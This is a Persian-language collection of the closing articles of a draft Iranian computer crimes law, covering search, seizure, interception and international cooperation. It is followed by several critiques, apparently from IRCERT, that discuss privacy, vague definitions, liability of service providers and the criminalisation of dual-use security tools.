ماده 35- دستور قضایی جهت تفتیش و توقیف باید شامل اطلاعاتی نظیر مکان و محدوده تفتیش و توقیف، نوع داده‌های مورد نظر، مشخصات احتمالی فایل‌ها و سخت افزارها و نرم‌افزارها، تعداد آنها ، مدت زمان مورد نیاز ، نحوه دستیابی به فایل‌های رمزگذاری شده، اجرای دستور در داخل یا خارج از محل باشد. تفتیش مشتمل بر موارد زیر خواهد بود:

- تفتیش از تمام یا بخشی از سیستم‌ رایانه‌ای
- تفتیش داده‌های رایانه‌ای ذخیره شده
- تفتیش حامل‌های داده‌ از قبیل: دیسکت و سی‌دی
- دستیابی به فایل‌های حذف شده یا رمزنگاری شده

ماده 36- داده‌ها، حامل‌های داده و سیستم‌های رایانه‌ای یا مخابراتی که دلیل یا وسیله ارتکاب جرم بوده و یا از جرم تحصیل شده قابل توقیف می باشند.

ماده 37- در جمع‌آوری داده‌ها با رعایت تناسب و توجه به نوع و اهمیت و نقش داده‌ها در ارتکاب جرم به روش‌هایی از قبیل موارد ذیل عمل می شود:

الف - غیر قابل دسترس نمودن داده ها با روشهایی چون تغییر گذر واژه و رمزنگاری
ب - تهیه پرینت از فایلهای متنی
ج - تهیه کپی یا تصویر از تمام یا بخشی از داده ها
د - ضبط حاملهای داده

ماده 38- توقیف سیستم‌های رایانه‌ای و یا مخابراتی متناسب با نوع و اهمیت و نقش آنها در ارتکاب جرم با روش‌هایی از قبیل موارد ذیل صورت می‌گیرد:

الف- تغییر گذر واژه به منظور عدم دسترسی به سیستم
ب - خاموش نمودن سیستم
ج - پلمپ سیستم در محل استقرار
د – ضبط سیستم

ماده 39- در موارد ذیل سیستم‌های رایانه‌ای و مخابراتی توقیف خواهند شد:

الف- داده‌های ذخیره شده به سهولت قابل دسترس نبوده و یا حجم زیادی داشته باشند.
ب – بهره‌برداری وتجزیه وتحلیل داده‌ها بدون وجود سیستم سخت افزاری امکان‌پذیر نباشد.
ج - مالک یا مسئول یا متصرف قانونی سیستم به توقیف رضایت داده باشد.
د - تهیه کپی از داده‌ها به لحاظ فنی امکان‌پذیر نباشد.
هـ - تفتیش در محل سبب ایراد صدمه به داده‌ها گردد.
و - سایر موارد با تصمیم مقام قضایی.

ماده 40- توقیف حامل‌های داده غیر متصل به سیستم رایانه‌ای و مخابراتی مانند ضبط آلات و ادوات جرم انجام خواهد گرفت.

ماده 41ـ چنانچه در حین اجرای دستور تفتیش و توقیف، تفتیش داده‌های مرتبط با جرم ارتکابی در سایر سیستم‌های رایانه‌ای که تحت کنترل و یا تصرف متهم قرار دارند ضروری باشد، ضابطین می‌توانند دامنه تفتیش و توقیف را به سیستم‌های دیگر گسترش داده و داده‌های مورد نظر را تفتیش و یا توقیف نمایند.

ماده 42- در موارد توقیف داده ها، چنانچه به روند تحقیقات لطمه‌ای وارد نیاید با تقاضا و هزینه مالک یا دارنده حق دسترسی به داده‌ها و دستور مقام قضایی، کپی داده‌های توقیف شده به ایشان تحویل می‌شود، مگر آنکه داده‌ها غیر قانونی باشد.

ماده 43ـ در مواردی که با تشخیص مقام قضایی توقیف سیستم یا داده‌ها سبب ایراد لطمات جانی به افراد یا اخلال در برنامه‌های خدمات عمومی گشته و یا مخل امنیت کشور باشد از روش‌های مناسبتری به جای توقیف استفاده خواهد شد.

ماده 44ـ متضرر می‌تواند در خصوص عملیات و اقدامات مأمورین درتوقیف داده‌ها و سیستم‌های رایانه‌ای و مخابراتی، اعتراض کتبی خود را همراه با دلایل به مرجع قضایی دستور دهنده تسلیم نماید، به درخواست مذکور خارج از نوبت رسیدگی شده و تصمیم متخذه قابل اعتراض است.

ماده 45ـ شنود داده محتوا ممنوع است، جز در مواردی که به امنیت کشور مربوط است و یا برای احقاق حقوق اشخاص به نظر قاضی ضروری تشخیص داده شود. مدت زمان شنود باید توسط مقام قضایی تعیین شود.

ماده 46- داده‌های رایانه‌ای و مخابراتی در صورتی که مطابق این قانون جمع‌آوری و نگهداری شده باشند می‌توانند در اثبات جرم مورد استناد قرار گیرند.

ماده 47- به منظور جلوگیری از بروز هرگونه تغییر، تحریف یا آسیب و حفظ وضعیت اصلی داده‌های رایانه‌ای و مخابراتی، لازم است تا زمانی که مرجع قضایی مربوط ضروری می‎داند، از آن نگهداری و مراقبت به عمل آید.

تبصره- آئین نامه نحوه جمع آوری، نگهداری و مراقبت از داده‌های رایانه‌ای و مخابراتی توسط وزارت دادگستری با همکاری نیروی انتظامی و وزارت ارتباطات و فناوری اطلاعات ظرف سه ماه از تاریخ تصویب این قانون تهیه و به تصویب رئیس قوه قضائیه خواهد رسید.

بخش چهارم: معاضدت بین‌‎المللی

ماده 48- معاضدت بین‌المللی، هرگونه تبادل اطلاعات و انجام امور اداری و پلیسی و قضایی که دولت ایران و سایر دول را قادر به کشف، پیگیری، تعقیب،رسیدگی و اجرای حکم نماید، در بر خواهد گرفت.

تبصره- چگونگی پیگیری و انجام امور مذکور در ماده 48 و تشکیلات سازمانی مورد نیاز برای اجرای آن به موجب آئین نامه ای خواهد بود که ظرف سه ماه از تاریخ تصویب این قانون توسط وزارت دادگستری با کسب نظر از مراجع ذیربط تهیه و به تصویب رئیس قوه قضاییه خواهد رسید.

ماده 49- قبول همکاری بین‌المللی در موارد ذیل ممنوع می‌باشد:

الف ـ انجام درخواست با شرع و قوانین داخلی مغایرت داشته باشد.
ب ـ انجام درخواست مستلزم اقدام علیه حاکمیت، امنیت و یا دیگر منافع اساسی کشور ایران یا کشورهای دیگر باشد.

ماده 50- مرتکبین جرایم غیر مندرج در این قانون که از طریق سیستم‌های رایانه‌ای و یا مخابراتی ارتکاب می‌یابند، طبق قانون مربوط مجازات خواهند شد، لیکن از نظر مقررات شکلی از قبیل مرجع رسیدگی و نحوه تفتیش و توقیف تابع ضوابط مقرر در این قانون می‌باشند.

ماده 51- کلیه قوانین و مقررات مغایر از تاریخ تصویب این قانون ملغی می‌باشند.


﻿ IRCERT - نگاهی کوتاه به قانون مجازات جرایم رایانه ای

نگاهی کوتاه به قانون مجازات جرایم رایانه ای

اشاره

پیش نویس قانون مجازات جرایم رایانه ای که توسط کمیته مبارزه با جرایم رایانه ای و تحت نظر شورای عالی توسعه قضایی تدوین شده است طی دو روز سمینار ابعاد حقوقی فناوری اطلاعات مورد بررسی کارشناسان مختلف قرار گرفت. نفس برگزاری این سمینار حرکت مثبتی است که نشان دهنده توجه جدی بانیان این حرکت به لزوم همفکری در جهت زدودن ابهامات و مشکلات پیش نویس قانون است. البته به رغم اینکه چنین فرصتی میتوانست یک چالش جدی و سازنده مابین متخصصین در مورد این قانون ایجاد کند متاسفانه بدلیل ضعف جدی این سمینار از جهت ابعاد فنی و عدم حضور کارشناسان IT چنین نشد و میتوان گفت این سمینار در بهترین حالت بیشتر به یک اتفاق "حقوقی-قضایی" صرف تبدیل شد تا یک کنفرانس میان رشته ای.

اما ازانجا که این قانون در هر حال به نوعی بر ادامه کار و توسعه IT در کشور تاثیرات جدی خواهد گذاشت مناسب است که با نگاهی منصفانه به نقادی پیش نویس جاری قانون بپردازیم.

مشخصات قانون

شاید تا به حال فرصت نکرده اید این قانون را مطالعه کنید یا اصولا مانند مابقی متخصصین کامپیوتر ، اهل مطالعه متون خسته کننده حقوقی نیستید . اگر چنین است ، توصیه میکنیم پیش از ادامه این نوشته حتما نگاهی به آن بیاندازید .

این قانون در پنج بخش تدوین شده که در ادامه به هر یک از این بخشها به صورت مستقل خواهیم پرداخت.

1. تعاریف

در بخش اول اصطلاحات به کار رفته در متن قانون تعریف شده اند . با بررسی این بخش به نظر می رسد که قانون حاضر در صورت تصویب، شاید جزء معدود قوانین کشور باشد که در آن به تصریح از لغات فرنگی در این سطح استفاده شده است. مجموعا هشت اصلاح به کار رفته در طی قانون در این بخش تعریف شده اند که شامل اصطلاحاتی مانند Data، Content، Service Provider... هستند. دقت در تدوین این بخش به جهت حساسیت مطلب ، ظرافت مرزها و اتکای کل قانون به این اصطلاحات ضروری ست.

ایراد اصلی وارد بر این بخش آن است که تعاریف ذکر شده ظاهرا حاصل ترجمه لفظ به لفظ از یک یا چند منبع "خاص منظور" است. بعنوان مثال در تعریف Computer System قانون میگوید که سیستمی است که از طریق اجرای برنامه های "پردازش خودکار داده" عمل میکند. این سئوال پیش می آید که مگر "برنامه پردازش غیر خودکار داده" هم داریم که قانون گذار بر خودکار بودن ماجرا تاکید دارد. همینجا به جای "مجموعه ای از اجزای سخت افزاری به همراه نرم افزارهای مربوطه" قانون گذار ترجیح داده بگوید: "مجموعه ای از دستگاههای متصل سخت افزاری- نرم افزاری" که یا بی معنی است یا اگر هم ترکیب معنی داری باشد دور از ذهن است.

اجازه دهید ذکر خسته کننده ریز این ایرادات را با چند نتیجه کلی خاتمه دهیم:

الف. گرچه تعاریف از نظر جامعیت در حد قابل قبولی است اما در هر یک از تعاریف شاخ و برگهای اضافی و غیر لازم به چشم می خورند. (بعنوان مثال تعریف اطلاعات)

ب. رویکرد جایگزینی واژگان فارسی به جای انگلیسی به صورت کامل انجام نشده است. بعنوان مثال واژه "رایانه" به جای کامپیوتر انتخاب شده اما در متن قانون بارها واژه "کامپیوتری" به کار رفته. بعنوان مثال "جعل کامپیوتری" در ماده 26 یا بند ح از بخش تعاریف. استفاده از واژگانی که معادل مصوب فرهنگستانی دارند نیز در متن بصورت مکرر دیده میشود مانند واژه "سیستم" شده که ظاهرا جایگزین فرهنگستانی آن "سامانه " است. و نیز واژه هایی مثل دیسکت و سی دی (ماده 35)، پرینت (ماده 37).

2. جرایم و مجازاتها

بخش اصلی قانون و چالش برانگیز ترین فصل آن همین جرایم و مجازاتهاست. البته از نگاه حقوقی شاید نکات جالب تری نیز در بخش سوم یافت شود اما به لحاظ فنی و نیز از دید کاربری این بخش شایسته توجهی ویژه است.

پارامترهایی مهمی که در این بخش باید مد نظر قرار گیرند به ترتیب عبارتند از:

  • تفکیک کامل حریم خصوصی و حوزه عمومی
  • تعریف دقیق و واضح جرایم حوزه IT
  • تناسب مجازاتهای در نظر گرفته شده با جرایم
  • ملاحظات تکنولوژیک

مورد اول یک موضوع عام است که تمامی بازیگران حوزه IT در کشور می توانند (و باید) در مورد آن اظهار نظر کنند. موارد دوم و سوم بیشتر در وادی تخصصی حقوق است که البته این بدان معنی نیست که حق اظهار نظر آماتوری در این دو مورد از ما سلب شده باشد. و مورد چهارم دقیقا موردی است که باید محل تامل جدی متخصصان IT و خصوصا امنیت شبکه باشد.

ملاحظات مرتبط با حریم خصوصی

مرور کلی قانون حاضر نشان میدهد که در این قانون موضوع حریم خصوصی کمتر مورد توجه قرار گرفته است. ماده 45 همین قانون صراحتا شنود اطلاعات را ممنوع میکند مگر در موارد مربوط به امنیت کشور یا با دستور مستقیم مقام قضایی. این دقیقا همان چیزی است که نه تنها به عنوان یک ماده بلکه به عنوان روح کلی قانون باید مورد توجه قرار میگرفت. به رغم تصریح ماده 45 ، در ماده 30 همین قانون شنود اطلاعات تمامی اتباع کشور توسط ISP ها و ICP ها اجباری میشود آنهم تا سه ماه. شاید استدلال مقابل این باشد که این اطلاعات اصولا تنها ذخیره میشود و فقط در موارد مذکور در قانون مورد بازخوانی و رهگیری قرار میگیرد. در مقابل این استدلال چه می توان گفت؟ آیا قانونی در حال حاضر وجود دارد که تمامی سرویس دهندگان مخابرات را ملزم به ضبط تمامی مکالمات کند یا ضبط مکالمات تنها با حکم قاضی ممکن است؟ اجازه دهید پیش از ادامه یکبار دیگر نگاهی بیاندازیم به قانون اساسی ج.ا.ا

اصل 25

“بازرسی و نرساندن نامه‏ها، ضبط و فاش کردن مکالمات تلفنی، افشای مخابرات تلگرافی و تلکس، سانسور، عدم مخابره و نرساندن آنها، استراق سمع و هر گونه تجسس ممنوع است مگر به حکم قانون. “

پرسش اصلی این است: آیا ارتباطات اینترنتی کمتر از ارتباطات تلفنی شخصی هستند که اینگونه خلاف نص صریح قانون اساسی عمل شده است؟ اجازه دهید بازگردیم به قانون.

ماده 21 قانون ارائه دهندگان خدمات میزبانی را به منظور جلوگیری از محتویات مستهجن موظف به بازبینی اطلاعات موجود روی هاست می کند. دراین که باید برای جلوگیری از این مساله راه حلی اندیشید شکی وجود ندارد اما این راه حل لزوما نظارت میزبانها بر روی اطلاعات شخصی کاربران نیست. دقت کنید که خدمات میزبانی صرفا به منظور میزبانی سایتهای وب نیست بلکه میزبانی اطلاعات است. بعبارتی ممکن است زمانی که Data Center راه اندازی شود ، شما داده های شخصی ، برنامه ها و عکسهای خانوادگی خود را به منظور حفاظت و سهولت دسترسی بر روی یک میزبان (بدون دسترسی همگانی) قرار دهید. این قانون ارائه دهنده خدمات میزبانی را موظف می سازد تا اطلاعات شما را مورد بازبینی قرار دهد که مشخصا با چیزی که مورد نظر شماست یعنی محرمانگی اطلاعات شخصی در تناقض است.

فهرست فوق را در زمینه معضلات این قانون از جهت حریم شخصی میتوان ادامه داد. البته ما نیز معترفیم که باید ساز و کار مناسبی برای جلوگیری از آشفتگی بیش از حد در فضای سایبر اتخاذ شود. اما این کار باید با توجه به اصول اساسی آزادیهای فردی و حریم اشخاص صورت گیرد چیزی که خوشبختانه در قانون اساسی ج.ا.ا. مورد تاکید جدی است.

ملاحظات تکنولوژیک

در ارتباط با محتوای فنی قانون موارد متعددی را می توان ذکر کرد:

  1. ماده دوم کسانی را که "با نقض تدابیر حفاظتی" وارد سیستمهای مخابراتی و رایانه ای می شوند به حبس و جریمه محکوم می کند. معلوم نیست که قید "نقض تدابیر حفاظتی" به چه معناست و ذکر مستقیم آن چه لزومی دارد. مثلا اگر کسی به یک سیستم دارای فایروال که غلط پیکربندی شده است وارد شود آیا تدابیر امنیتی را نقض کرده است یا نه؟ از جهت وجود فایروال تدابیر حفاظتی را نقض کرده است اما ازانجا که قواعد فایروال به غلط به IP او اعتماد کرده اند قواعد حفاظتی را نقض نکرده و به لحاظ فنی کاملا بر طبق قواعد وارد سیستم شده است.
  2. ماده 6 مدیران و مسئولین فنی را از جهت لو رفتن اطلاعات کاملا مسئول می داند و مجازات تا دو سال زندان را برای آنها در نظر میگیرد. عملی شدن این بند به معنی ایجاد تعهدی بسیار سنگین برای مدیران رده میانی IT در کشور است. در اینصورت کمتر کسی میتواند مسئولیت حفاظت از شبکه ها و مدیریت آنها را بعهده بگیرد چون عملا به لحاظ وضعیت جاری امنیت شبکه های کامپیوتری، بعهده گرفتن چنین تعهدی غیر منطقی است.
  3. ماده 20، ICP ها را موظف به اجرای فیلترینگ جهت جلوگیری از دسترسی افراد به سایتهای پورنوگرافی و سایر سایتهای ممنوعه می سازد. در واقع این قانون کنترل را کاملا در سطح ماکرو اعمال می کند . البته این یک رویکرد است. رویکرد دیگری هم که میتوان به این موضوع داشت این است که ISP ها را موظف به فراهم آوردن ساز و کار فیلترینگ کنیم تا مثلا مراکز پزشکی و یا دانشگاههای علوم پزشکی بتوانند به بعضی اطلاعات لازم دسترسی پیدا کنند.
  4. ماده 22 قانون، تولید انتشار و فروش داده ها ، نرم افزارها و یا وسایلی که در زمینه ارتکاب جرایم رایانه ای به کار میرود را ممنوع ساخته ، متخلفین را به حبس و جزای نقدی محکوم می سازد. بعنوان کارشناس امنیت شبکه برای من بهیچ وجه روشن نیست که نرم افزارهای مخصوص جرایم رایانه ای چه موجوداتی هستند که یک بخش قانون جهت آنها اختصاص داده شده. تمامی BackDoor ها ابزارهای Remote Control نیز هستند. تمامی Vulnerbility Scanner ها جهت امنیت نیز به کار میروند و ... تنها نرم افزاری که خاص ارتکاب جرم است ویروسهای کامپیوتری هستند که به نظر کمی عجیب به نظر میرسد افرادی ویروس خرید و فروش کنند. جالب است که حتی ابزارهای Cracking نیز کاربردهای همچون Audit دارند. بنابراین اصولا این ماده بلاموضوع است چون چنین نرم افزارهایی اصولا وجود خارجی ندارند. به فرض اجرا این ماده در روند کار شاخه امنیت شبکه که جزء مهمترین شاخه های جاری فن آوری اطلاعات است اختلال جدی ایجاد خواهد کرد.

نتیجه گیری

در نهایت بد نیست چند نکته را مجددا مرور کنیم:

1. نفس تلاش یک تیم قضایی در جهت ایجاد ساز و کارهای قانونی در حوزه IT شایان توجه است و باید ازان قدر دانی کرد

2. تصویب و اجرای چنین قانونی باید در زمان مناسب و با حداکثر دقت صورت گیرد. کل صنعت IT در کشور نهال نوپا و بسیار نحیفی است که با اندکی سختگیری بی مورد و یا ایجاد موانع قانونی دست و پا گیر ممکن است رو به نابودی رود یا لااقل رشد آن برای مدتی مدید به تعویق افتد.

3. معتقدیم در شرایط حاضر و با توجه به مشکلات امنیتی موجود و محتمل ، گلوگاه صنعت IT داشتن قانون جرایم رایانه ای نیست و وجود قانون تجارت الکترونیکی و سایر قوانین در حال حاضر کافی است. بر عکس، تصویب این قانون به شکل فعلی ممکن است خود به یک گلوگاه جدی برای این صنعت تبدیل شود.

4. تکنولوژی اطلاعات نه تنها بعنوان یک تکنولوژی که بعنوان یک شیوه نوین زندگی، بازیگران تاثیر گذار متعددی دارد اعم از متخصصین ، کاربران ، گروههای صنفی ذی نفع ، سرویس دهندگان... تصویب هر نوع قانونی درین زمینه باید با توجه به منافع ، اشتراکها و تضادهای تمامی این گروهها صورت گیرد.


﻿ IRCERT - نقدی بر قانون مجازات جرایم رایانه‌ای

نقدی بر قانون مجازات جرایم رایانه‌ای

کمیته مبارزه با جرایم رایانه‌ای که از طرف شورای عالی توسعه قضایی وظیفه تدوین پیش‌نویس قانون مجازات جرایم رایانه‌ای را عهده‌دار شده، در خرداد ماه ۸۳ پیش‌نویس تهیه شده را با برگزاری سمینار «ابعاد حقوقی فناوری اطلاعات» در معرض نقد و ارزیابی صاحب‌نظران قرار داد. این قانون در صورت تصویب مسیر حرکت صنعت انفورماتیک کشور را طی سالیان آینده تحت تاثیر قرار خواهد داد. بنابراین تلاش جمعی صاحب‌نظران برای پربارتر کردن این قانون و تضمین سلامت فضای مجازی آینده کشور الزامی است.

نگارنده با توجه به پیش‌زمینه مرتبط با فناوری اطلاعات و تعلق خاطری که به این حوزه کاری و رشد و بالندگی آن دارد این فرصت را مغتنم شمرده و نکاتی را راجع به این پیش‌نویس ارائه می‌کند.

1. در ماده ۱ از پیش‌نویس، تعاریف اصطلاحات فنی به کار گرفته شده در متن قانون ارائه شده‌اند. مستقل از اینکه دقت تعاریف بر جامعیت قانون تاثیرگذار بوده و ضامن اجرای دقیق آن است، متاسفانه بعضی از معانی دقت و گویایی لازم را ندارند. به عنوان مثال، در تعریف داده رایانه‌ای ذکر شده این نوع داده «باعث می‌شود سیستم رایانه‌ای عملکرد خود را به مرحله اجرا گذارد». به مرحله اجرا گذاردن عملکرد به چه معناست؟ اگر منظور انجام پردازش بر روی داده است، این کار توسط سیستم رایانه‌ای انجام می‌شود و خود داده باعث انجام فعلی نمی‌شود.

موارد دیگری نیز در سایر بندهای ماده ۱ (به عنوان مثال تعریف بند الف) وجود دارد که شایسته تجدید نظر و رفع ابهام از تعاریف می‌باشند.

 2. در ماده ۱۱ قانون آمده است: «هر کس عمدا با انجام اعمالی از قبیل وارد کردن، انتقال دادن، ارسال، پخش، صدمه زدن، پاک کردن، ایجاد وقفه، دستکاری یا تخریب داده‌ها یا امواج الکترومغناطیسی، سیستم رایانه‌ای یا مخابراتی دیگری را غیر قابل استفاده کرده یا ...» در این ماده تعدادی عمل ذکر شده که انجام آنها بر روی داده و یا امواج الکترومغناطیسی جرم شناخته شده و مجازات خاص خود را در پی دارد. کلیت ماده قابل قبول است ولی متاسفانه بعضی از اعمال را نمی‌توان بر روی داده و یا امواج الکترومغناطیسی انجام داد. داده را می‌توان وارد کرد ولی این کار در مورد امواج الکترومغناطیسی تعریف نشده است، مگر این که منظور تدوین کنندگان این ماده به صورت دقیق و فنی بیان شود. ایجاد وقفه در ارسال امواج الکترومغناطیسی امکان‌پذیر است ولی در مورد داده این کار انجام‌پذیر نیست.

3. در بند الف ماده ۲۲ یکی از جرایمی که مجازات هم برای آن در نظر گرفته شده است به شرح زیر بیان شده است:

«تولید، انتشار یا مورد معامله قرار دادن داده‌ها یا نرم‌افزارها یا هر نوع وسایل الکترونیکی که به منظور ارتکاب یکی از جرایم رایانه‌ای مورد استفاده قرار می‌گیرند».

برنامه‌هایی که در این بند به عنوان ابزار جرم معرفی شده‌اند همگی چندکاربرده می‌باشند. به عبارت دیگر ممکن است از آنها به عنوان ابزار جرم استفاده شود و در عین حال توسط محققین برای آزمایش و انجام تحقیقات علمی و یا توسط گروه‌های بازرسی برای محک‌زنی سیستم‌های کامپیوتری موجود مورد استفاده قرار گیرد. بنابراین نفس تولید، انتشار و یا خرید و فروش این نرم‌افزارها به خودی خود نمی‌تواند به منزله وقوع جرم باشد.

اجرای این بند به معنای تعطیلی همه فعالیت‌های تحقیقاتی و بسته شدن درب آزمایشگاه‌های شبکه و امنیت اطلاعات در دانشگاه‌ها و شرکت‌های خصوصی و دولتی و همینطور موسساتی که در زمینه benchmarking سیستم‌های کامپیوتری فعالیت دارند می‌باشد.

4. پیش نویس قانون مجازات جرایم رایانه‌ای بار اصلی فرایند مبارزه با وقوع جرم و انتشار محتوای خلاف قانون را بر روی دوش مراکز ارائه کننده خدمات قرار داده است. در ماده ۲۰ این قانون آمده است: «ایجادکنندگان نقطه تماس بین‌المللی موظفند امکان دستیابی به محتویات موضوع ماده 15 و بند الف ماده 16 را متوقف سازند، در غیر اینصورت به مجازات مقرر در مادة 25 همین قانون محکوم خواهند شد، ...»

به موجب این ماده نقاط تماس بین‌المللی موظف شده‌اند مانع دسترسی افراد به محتویات مستهجن،‌ محتویات فریب‌دهنده و تشویق کننده در این زمینه و همینطور محتویات آموزش خودکشی و استفاده از مواد روانگردان شوند. این کار از طریق استفاده از تجهیزات خاص امکان‌پذیر است ولی واقعیتی عینی که همه متخصصین به آن اذعان دارند وجود راه‌های متعدد برای دور زدن فیلترها و رسیدن به اطلاعات مورد نظر است. استفاده از تجهیزات فیلترگذاری با صرف هزینه‌های زیاد می‌تواند مانع دسترسی تعدادی از کاربران به محتویات سایت‌های موجود در لیست‌های سیاه‌ شود، ولی با استفاده از روش‌هایی که چندان دشوار هم نیستند کاربران می‌توانند دسترسی خود را حفظ کنند. در این صورت تکلیف ارائه دهندگان خدمات چیست؟

از سوی دیگر در ماده ۲۱ همین قانون آمده است:

«به منظور جلوگیری از ادامه ارائه یا انتشار محتویات موضوع مواد 15 و بند الف ماده 16 ارائه‌کنندگان خدمات میزبانی موظفند:

الف ـ نسبت به محتوای موجود در سایت‌های تحت میزبانی خود نظارت نمایند، چنانچه عدم نظارت یا بی مبالاتی وی در نظارت منجر به ادامة ارائه یا انتشار محتویات فوق گردد به مجازات مقرر در ماده 25 همین قانون محکوم خواهند شد.»

با این فرض که ارائه دهندگان خدمات میزبانی با صرف هزینه‌های فراوان موفق به انجام این کار بشوند، تضمینی برای از بین رفتن محتویات نامطلوب بوجود نمی‌آید. در حال حاضر که قانون مکتوبی برای مبارزه با چنین محتویاتی وجود ندارد، در بیشتر موارد میزبان‌های خارجی برای نگه‌داری و ارائه اطلاعات انتخاب می‌شوند. با توجه به توضیحاتی که در رابطه با ماده ۲۰ قانون بیان شد، امکان دسترسی به این گونه محتوا برای کاربران وجود دارد.

5. در بند ۴ موارد ۲۰ و ۲۱ پیش‌نویس قانون از دید فنی مورد نقد قرار گرفتند. پس از مطالعه کل قانون و بررسی این دو ماده نکته‌ای که به ذهن خواننده متبادر می‌شود این است که تدوین کنندگان قانون حجم قابل توجهی از بار معنوی و مادی مبارزه با قانون را بر دوش ارائه دهندگان خدمات قرار داده‌اند که اتفاقا بیشتر آن‌ها از بخش خصوصی بوده و مشابه سایر حوزه‌های تخصصی بخش خصوصی توانی محدود دارند.

در بسیاری از مواد دیگر قانون مشاهده می‌شود که روح تساهل در برخورد با مجرم وجود دارد. به عنوان مثال در ماده‌های ۲، ۳، ۴، ۱۱ و ۱۲ شرط مجرمیت فرد احراز تعمد در انجام فعل است، حتی در مورد قرار دادن اطلاعات در دسترس دولت‌ها و سازمان‌های بیگانه. علاوه بر این در مواد ۷ و ۹ وجود قصد تقلب و در ماده ۱۰ وجود قصد اضرار متمایز کننده مجرمین می‌باشد. در شرایطی که عدم وجود قصد تقلب باعث تبرئه کسی که محتویات کارت اعتباری را تحریف نموده است می‌شود، چگونه ارائه دهندگان خدمات تحت هر شرایطی مسئول کل داده ذخیره شده در میزبان خود و یا کل داده تبادل شده از طریق خطوط ارتباطی می‌باشند. آیا نباید ضریب خطای ماشینی و یا انسانی را در این میان مدنظر قرار داد؟ به نظر می‌رسد دیوار شرکت‌های ارائه دهنده خدمات در حال حاضر از همه کوتاه‌تر است.

علی‌رغم لزوم وجود قانون برای جلوگیری از هرج و مرج به نظر می‌رسد قانون تهیه شده در حال حاضر نیازمند کار بیشتر و استفاده از نظرات متخصصین هر دو حوزه فناوری اطلاعات و حقوق می‌باشد. مفاد تعدادی از مواد قانون در سایر قوانین هم وجود دارد و به نظر نمی‌رسد تغییر ابزار نیازمند وضع قوانین جدید باشد.

از سوی دیگر تعدادی از مواد این قانون به حدی سخت‌گیرانه است که می‌تواند عرصه را بر فعالان حوزه IT (کاربران و ارائه دهندگان خدمات) چنان تنگ کند که امکان ادامه فعالیت وجود نداشته باشد. یک کاربر عادی که می‌داند کلیه اعمالش در دنیای مجازی ثبت می‌شود و شناخت دقیقی هم نسبت به سایت‌های اینترنتی و محتویات آنها ندارد همواره در اضطراب مشاهده سایت‌ها بوده و در چنین شرایطی ممکن است عطای اینترنت را به لقایش ببخشد. در شرایطی که متوسط استفاده از اینترنت در کشور بسیار پایین‌تر از استانداردهای جهانی و حتی کشورهای در حد ایران می‌باشد این حرکت قطعاً در راستای منافع کشور نیست.

علاوه بر این کاهش کاربران و اجرای سیاست‌های سخت‌گیرانه‌ای مانند مواد ۲۰، ۲۱ و ۳۰ قانون مجازات جرایم رایانه‌ای تهدیدی جدی برای پیکره ضعیف شرکت‌های فعال در حوزه خدمات رسانی اینترنت است. در این مقطع مناسب‌ترین کار انجام کار کارشناسی بیشتر بر روی این قانون است که باید با حضور کارشناسان مستقل حقوق و فناوری اطلاعات انجام شود تا حقوق کاربران اینترنت و شهروندان تضمین شده و از سوی دیگر سیاست‌های حمایتی و توسعه‌ای دولت در حوزه فناوری اطلاعات و ارتباطات (که به موجب برنامه پنج ساله سوم جزیی از وظایف حاکمیت است) در قانون لحاظ شود.


﻿ IRCERT - نکاتی در مورد پیش‌نویس قانون مجازات جرایم رایانه‌ای

نکاتی در مورد پیش‌نویس قانون مجازات جرایم رایانه‌ای

پذیرش پدیده‌هایی که چه از نظر فردی و چه اجتماعی ماهیتا از طینت بدی برخوردارند، طبیعتا مورد تایید هیچ عقل سلیمی نیست. از طرفی این مطلب نیز بر هیچ‌کس پوشیده نیست که بعضی ابداعات و اختراعات بوده‌اند که اگرچه به نیت کمک به انسان در جهت پیشرفت و رفاه ایجاد گشته‌اند، اما در طول عمر خود بسیار مورد سوءاستفاده قرار گرفته‌اند.

تجربیات دهه‌ها و سال‌های اخیر نشان داده است که قراردادن پدیده‌های نام‌آشنای کامپیوتر و فرزند خلف آن، اینترنت در زمره پدیده‌های بدطینت به دور از انصاف است. بنابراین اکنون و بعداز سالها که از ظهور اینترنت می‌گذرد، تلاش در جهت به حداقل رساندن سوءاستفاده‌هایی که هر روزه از رسانه‌ها اخبارشان را می‌شنویم و یا خود با آنها مواجهیم، در کشورمان امری اجتناب‌ناپذیر است. از آنجا که نگارنده این سطور در زمینه فناوری اطلاعات فعالیت دارد و از دانش مربوط به حقوق قضایی بهره چندانی ندارد، تنها اجازه ذکر چند نکته فنی را به خود می‌دهد و امیدوار است که خبرگان حقوق نیز یش‌نویس قانون مطروحه را با رویکردی حقوقی مورد مداقه و نقد قرار دهند.

اگرچه ممکن است از فضای جدید ایجاد شده توسط اینترنت بعنوان دنیای مجازی نام برده شود (دنیایی که اجزای تشکیل دهنده آن سیگنالهای الکتریکی و الکترومغناطیسی هستند و از اینرو ماهیت آن در پاره‌ای از موارد با آنچه از دنیای سنتی! درک کرده‌ایم، متفاوت است)، اما این دنیای مجازی دیگر جزئی لاینفک از دنیای واقعی است و شاهد حضور غیرقابل‌انکار آن در بیشتر اتفاقات دنیای پیشرفته امروز هستیم. مسلما درک دقیق‌تر قانونگذار محترم از این تفاوتها، عاملی مهم در برطرف ساختن شبهاتی است که اذهان بسیاری را بعد از مطرح ساختن پیش‌نویس قانون مجازات جرایم رایانه‌ای به خود معطوف داشته است.

برای جلوگیری از اطاله کلام و با توجه به نقدهایی که تاکنون بر این قانون نگاشته شده است، در اینجا تنها به ذکر چند نکته بصورت مختصر بسنده می‌شود.

۱- در بندهایی از این قانون مجازاتهایی برای ناقضان تدابیر امنیتی تعیین گردیده است، اگر منظور از این افراد همان هکرها باشند، شایان ذکر است که هکرها در سه گروه طبقه‌بندی می‌گردند، گروهی که برای کشف شکافهای امنیتی بمنظور پوشاندن آنها فعالیت می‌کنند، گروهی دیگر که از دانش فنی بالایی برخوردار نیستند و از ابزاری که تهیه آن چندان سخت نیست و توسط سایرین تولید شده استفاده می‌کنند و گاهی خود از عواقب استفاده از آنها اطلاع چندانی ندارند و گروه سوم که در جهت کسب منافع شخصی، کسب شهرت یا صدمه‌رساندن به دیگران فعالیت می‌کنند. شایسته است که قانونگذار محترم ناقضان تدابیر حفاظتی را دقیق‌تر مشخص کند، ضمن اینکه از آنجا که نتیجه عمل هر سه گروه هکرها ممکن است به هم شبیه باشد، دسته‌بندی آنها همیشه به سهولت و تنها براساس شواهد، ممکن نیست.

